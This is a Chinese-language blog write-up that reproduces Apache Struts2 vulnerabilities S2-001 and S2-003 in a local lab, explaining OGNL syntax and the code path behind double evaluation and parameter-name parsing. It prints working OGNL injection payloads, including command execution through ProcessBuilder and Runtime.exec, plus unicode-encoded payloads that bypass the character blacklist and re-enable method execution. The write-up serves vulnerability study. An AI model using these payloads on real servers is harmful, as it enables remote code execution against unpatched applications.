Structs2漏洞复现

Posted by Azeril on December 27, 2023

搭建环境

https://lanvnal.com/2020/12/15/struts2-lou-dong-fen-xi-huan-jing-da-jian/ 推荐这篇文章亲测有效

${@java.util.concurrent.TimeUnit@SECONDS.sleep(1)} //达到延时的效果

struts是什么

官网上写的是Apache Struts是一个开源的MVN框架用于创建Java Web应用程序它支持约定优于配置可使用插件架构进行扩展并附带支持RESTAJAX和JSON的插件

本地配置的struts版本是

<dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>2.0.8</version>
    </dependency>
    <dependency>

OGNL语法

.操作符如上所示可以调用对象的属性和方法, hacker.name且上一个节点的结果作为下一个节点的上下文(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))

@操作符用于调用静态对象静态方法静态变量@java.lang.Math@abs(-10)

#操作符

a用于调用非root对象

// 放入Context中,但不是root
context.put("user", user)
// 创建Expression,非root,所以要加上#
String expression = "#user.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
b创建Map

#{"name": "chenlvtang", "level": "noob"}
c定义变量

#a=new java.lang.String[]{"calc"}
$操作符一般用于配置文件<param name="name">${name}</param>

%操作符计算其中的OGNL表达式%{hacker.name}

List直接使用{"green", "red", "blue"}创建

对象创建new java.lang.String[]{"foobar"}

image-20240103102248555

image-20240103103620106

Ognl.parseExpression("(#a=new java.lang.String(\"calc\"))(@java.lang.Runtime@getRuntime().exec(#a))(cxk)");
Ognl.parseExpression("(#a=new java.lang.String(\"calc\")),(@java.lang.Runtime@getRuntime().exec(#a))(cxk)");
Ognl.parseExpression("(#a=new java.lang.String(\"calc\")).(@java.lang.Runtime@getRuntime().exec(#a))(cxk)");
//上面三种都会触发

s0001漏洞分析

影响版本WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
参考链接https://cwiki.apache.org/confluence/display/WW/S2-001
描述由于在 variable translation 的过程中使用了 while(true) 来进行字符串的处理和表达式的解析导致攻击者可以在可控的能解析的内容中通过添加 "%{}" 来使应用程序进行二次表达式解析这就导致了ognl注入也就是所谓的RCE漏洞官方将这种解析方式描述为递归实际上不是传统意义上的递归只是循环解析

漏洞效果:会直接执行我们的表达式跟以下流程

image-20231227192208847

首先就是我们的首页.jsp,跳转到/login页面

image-20231227194646804

通过查看struts.xml的配置可以发现,指向了LoginAction类

image-20231227194703822

LoginAction extends ActionSupport  继承了ActionSupport类,并且重写了execute方法
通过前面我们可以知道,下面三种结果一种也没调用到

image-20231227195014458

懵逼了,没懂就看到index.jsp用到了taglib自定义标签,但是也没啥内容,这里经过了一次报错把

E:\tomcat\apache-tomcat-9.0.65\bin中的jdwp语句删除即可

image-20231227210722094

这里首先会执行到LoginAction#execute()

image-20231227210814243

然后进入了getBean方法,可以发现stack是OnglValueStack

image-20231227211113532

最后调用doEngTag方法,页面就会回显( 最后只能知道是用ongl进行解析的详细的流程没找到

image-20231227211955921

既然发现是用ongl进行表达式解析,直接断点下在Ognl#parseExpression

image-20231227213414013

发现主要的漏洞点是tag自定义的任意标签,然后调入end方法,传入参数

image-20231227214401766

最终在这里进行ognl 表达式解析

image-20231227213938925

关键的漏洞点在于:如果this.altSyntax()为true就会加上%{}包裹,

image-20240102192503710

直到进行到TextParseUtil类中,会循环取出%{}的内容,即%{username},会取到username,如果直接是username那么就取不到任何的值,相当于var没用

%{username}--->username
stack.findvalue--->%{3*9}
%{3*9}--->{3*9}
findValue {3*9}

image-20240102192904773

image-20240102192650040

image-20240102193349504

最后{3*9}在这里被成功解析掉了

image-20240102193435230

所以struct2出发ognl表达式解析还有一个前提就是:altSyntax需要有值。到这一步,整个漏洞的原理就大概说清了,用户通过使用 %{} 包裹恶意表达式的方式,将参数传递给应用程序,应用程序由于处理逻辑失误,导致了二次解析,造成了漏洞。

payload

// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

S2-003

影响版本Struts 2.0.0 - Struts 2.1.8.1
参考链接https://cwiki.apache.org/confluence/display/WW/S2-003
描述在拦截器 ParametersInterceptor 调用 setParameters() 装载参数时会使用stack.setValue() 最终调用 OgnlUtil.setValue() 方法来使用 OGNL 表达式解析参数名造成漏洞

首先程序会调用设置的拦截器栈来执行相关命令,其中一个拦截器是ParametersInterceptor,这个拦截器会解析参数,将参数放入OnglValueStack root中的action中

在拦截器中,初始化的过程中将DENY_METHOD_EXECUTION设置为了true。(这里我们在后面会把值修改为false)

DENY_METHOD_EXECUTION值如果为false则可以执行静态方法如果为true则不执行静态发放并返回null

image-20240105154237644

然后在下面调用了setParameters方法,循环参数Map,首先调用this.acceptableName(name) 来检验参数名是否非法,在较低版本中是判断是否包含#,-:

(禁用这些,因为这几个符号是OGNL中的符号)所以我们下面需要考虑如何绕过

image-20240105155227982

如果校验通过则调用 stack.setValue(name, value) 方法,然后下面的流程就和上面一样了,不重复了

而本次漏洞触发形式就在于 (one)(two) 这种表达形式,属于 ASTEval 类型。

看一下解析执行流程:

  1. 取第一个节点,也就是 one,调用其 getValue() 方法计算其值,放入 expr 中;
  2. 取第二个节点,也就是 two,赋值给 source ;
  3. 判断 expr 是否为 node 类型,如果不是,则调用 Ognl.parseExpression() 尝试进行解析,解析的结果强转为 node 类型;
  4. 将 source 放入 root 中,调用 node 的 setValue() 方法对其进行解析;
  5. 还原之前的 root。

因此我们得知:使用 (one)(two) 这种表达式执行时,将会计算 one ,two,并将 two 作为 root 再次为 one 的结果进行计算。如果 one 的结果是一个 AST,OGNL 将简单的执行解释它,否则 OGNL 将这个对象转换为字符串形式然后解析这个字符串。

举个例子:@java.lang.Runtime@getRuntime().exec(‘calc’)

但是使用(one)(two)就可以改成下面的样子:

('@java.lang.Runtime'+'@getRuntime().exec(\'calc\')')('aaa')
('@java.lang.Runtime@'+'getRuntime().exec(#aa)')(#aa='calc')

并且在 OgnlParserTokenManager 方法中使用了 ognl.JavaCharStream#readChar() 方法,在读到 \\u 的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。

因此,这个漏洞的触发流程就明确了,攻击者在参数名处传入恶意表达式:

  • 使用 unicode 编码特殊字符绕过对关键字符黑名单的判断;
  • 将 context 中的 xwork.MethodAccessor.denyMethodExecution 值修改为 false,这样在后面才可以调用方法;
  • 执行恶意的表达式。
(su18)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023su19')(\u0023su19\u003dnew\u0020java.lang.Boolean(false)))&(su20)(('\u0023su21.exec(\'calc\')')(\u0023su21\u003d@java.lang.Runtime@getRuntime()))
(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(su18)(su19)&(%27\u0023su20\u003d@java.lang.Runtime@getRuntime().exec(\%27calc\%27)%27)(su21)(su22)

unicode编码之前的字符串

(su18)(('#context[\'xwork.MethodAccessor.denyMethodExecution\']=#su19')(#su19=new java.lang.Boolean(false)))&(su20)(('#su21.exec(\'calc\')')(#su21=@java.lang.Runtime@getRuntime()))

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。